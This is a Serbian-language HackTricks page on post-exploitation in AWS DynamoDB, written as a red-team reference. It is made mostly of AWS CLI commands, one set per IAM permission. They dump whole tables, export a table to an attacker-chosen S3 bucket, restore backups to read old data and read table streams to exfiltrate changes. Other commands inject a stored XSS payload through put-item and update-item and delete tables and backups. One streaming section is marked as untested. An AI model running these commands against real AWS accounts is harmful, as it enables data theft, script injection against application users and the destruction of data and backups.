AWS - DynamoDB Post Exploitation
Reading time: 8 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
DynamoDB
Za više informacija proverite:
dynamodb:BatchGetItem
Napadač sa ovim dozvolama će moći da dobije stavke iz tabela po primarnom ključu (ne možete jednostavno tražiti sve podatke iz tabele). To znači da morate znati primarne ključeve (to možete dobiti dobijanjem metapodataka tabele (describe-table
).
aws dynamodb batch-get-item --request-items file:///tmp/a.json
// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys": [
{
"Id" : { // Primary keys name
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}
Potencijalni uticaj: Indirektno povećanje privilegija lociranjem osetljivih informacija u tabeli
dynamodb:GetItem
Slično prethodnim dozvolama ova dozvola omogućava potencijalnom napadaču da čita vrednosti iz samo 1 tabele, s obzirom na primarni ključ unosa koji treba preuzeti:
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
// With a.json
{
"Id" : {
"N": "205"
}
}
Sa ovom dozvolom takođe je moguće koristiti metodu transact-get-items
kao:
aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json
// With a.json
[
{
"Get": {
"Key": {
"Id": {"N": "205"}
},
"TableName": "ProductCatalog"
}
}
]
Potencijalni uticaj: Indirektni privesc lociranjem osetljivih informacija u tabeli
dynamodb:Query
Slično prethodnim dozvolama ova dozvola omogućava potencijalnom napadaču da čita vrednosti iz samo 1 tabele, s obzirom na primarni ključ unosa koji treba preuzeti. Omogućava korišćenje podskupa poređenja, ali jedino poređenje koje je dozvoljeno sa primarnim ključem (koji mora biti prisutan) je "EQ", tako da ne možete koristiti poređenje da dobijete celu DB u jednom zahtevu.
aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json
// With a.json
{
"Id" : {
"ComparisonOperator":"EQ",
"AttributeValueList": [ {"N": "205"} ]
}
}
Potencijalni uticaj: Indirektno povećanje privilegija lociranjem osetljivih informacija u tabeli
dynamodb:Scan
Možete koristiti ovu dozvolu da lako izvučete celu tabelu.
aws dynamodb scan --table-name <t_name> #Get data inside the table
Potencijalni uticaj: Indirektno povećanje privilegija lociranjem osetljivih informacija u tabeli
dynamodb:PartiQLSelect
Možete koristiti ovu dozvolu da lako izvučete celu tabelu.
aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"
Ova dozvola takođe omogućava izvršavanje batch-execute-statement
kao:
aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
ali morate da navedete primarni ključ sa vrednošću, tako da to nije previše korisno.
Potencijalni uticaj: Indirektni privesc lociranjem osetljivih informacija u tabeli
dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)
Ova dozvola će omogućiti napadaču da izveze celu tabelu u S3 bucket po svom izboru:
aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
--s3-bucket <attacker_s3_bucket> \
--s3-prefix <optional_prefix> \
--export-time <point_in_time> \
--region <region>
Napomena da za ovo da bi radilo, tabela treba da ima omogućenu point-in-time-recovery, možete proveriti da li tabela to ima sa:
aws dynamodb describe-continuous-backups \
--table-name <tablename>
Ako nije omogućeno, moraćete da omogućite to, a za to vam je potrebna dynamodb:ExportTableToPointInTime
dozvola:
aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
Potencijalni uticaj: Indirektni privesc lociranjem osetljivih informacija u tabeli
dynamodb:CreateTable
, dynamodb:RestoreTableFromBackup
, (dynamodb:CreateBackup)
Sa ovim dozvolama, napadač bi mogao da napravi novu tabelu iz rezervne kopije (ili čak da napravi rezervnu kopiju koju bi zatim mogao da vrati u drugu tabelu). Zatim, sa potrebnim dozvolama, mogao bi da proveri informacije iz rezervnih kopija koje više ne bi mogle biti u produkcijskoj tabeli.
aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>
Potencijalni uticaj: Indirektni privesc lociranjem osetljivih informacija u rezervnoj kopiji tabele
dynamodb:PutItem
Ova dozvola omogućava korisnicima da dodaju novi predmet u tabelu ili zamene postojeći predmet novim predmetom. Ako predmet sa istim primarnim ključem već postoji, ceo predmet će biti zamenjen novim predmetom. Ako primarni ključ ne postoji, novi predmet sa specificiranim primarnim ključem će biti kreiran.
## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
"Id": {
"S": "1000"
},
"Name": {
"S": "Marc"
},
"Description": {
"S": "<script>alert(1)</script>"
}
}
Potencijalni uticaj: Eksploatacija daljih ranjivosti/zaobilaženja omogućavanjem dodavanja/modifikacije podataka u DynamoDB tabeli
dynamodb:UpdateItem
Ova dozvola omogućava korisnicima da modifikuju postojeće atribute stavke ili dodaju nove atribute stavci. Ona ne zamenjuje celu stavku; samo ažurira specificirane atribute. Ako primarni ključ ne postoji u tabeli, operacija će napraviti novu stavku sa specificiranim primarnim ključem i postaviti atribute navedene u izrazu za ažuriranje.
## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id": {
"S": "1000"
}
}
### and val.json
{
":value": {
"S": "<script>alert(1)</script>"
}
}
Potencijalni uticaj: Eksploatacija daljih ranjivosti/zaobilaženja omogućavanjem dodavanja/modifikovanja podataka u DynamoDB tabeli
dynamodb:DeleteTable
Napadač sa ovom dozvolom može izbrisati DynamoDB tabelu, uzrokujući gubitak podataka.
aws dynamodb delete-table \
--table-name TargetTable \
--region <region>
Potencijalni uticaj: Gubitak podataka i prekid usluga koje se oslanjaju na obrisanu tabelu.
dynamodb:DeleteBackup
Napadač sa ovom dozvolom može obrisati DynamoDB rezervnu kopiju, što može izazvati gubitak podataka u slučaju scenarija oporavka od katastrofe.
aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>
Potencijalni uticaj: Gubitak podataka i nemogućnost oporavka iz rezervne kopije tokom scenarija oporavka od katastrofe.
dynamodb:StreamSpecification
, dynamodb:UpdateTable
, dynamodb:DescribeStream
, dynamodb:GetShardIterator
, dynamodb:GetRecords
napomena
TODO: Testirati da li ovo zapravo funkcioniše
Napadač sa ovim dozvolama može omogućiti stream na DynamoDB tabeli, ažurirati tabelu da započne strimovanje promena, a zatim pristupiti streamu kako bi pratio promene na tabeli u realnom vremenu. Ovo omogućava napadaču da prati i eksfiltrira promene podataka, što može dovesti do curenja podataka.
- Omogućite stream na DynamoDB tabeli:
bashCopy codeaws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
- Opisati tok za dobijanje ARN-a i drugih detalja:
bashCopy codeaws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
- Dobijte shard iterator koristeći stream ARN:
bashCopy codeaws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
--shard-id <shard_id> \
--shard-iterator-type LATEST \
--region <region>
- Koristite shard iterator za pristup i eksfiltraciju podataka iz struje:
bashCopy codeaws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>
Potencijalni uticaj: Praćenje u realnom vremenu i curenje podataka o promenama u DynamoDB tabeli.
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.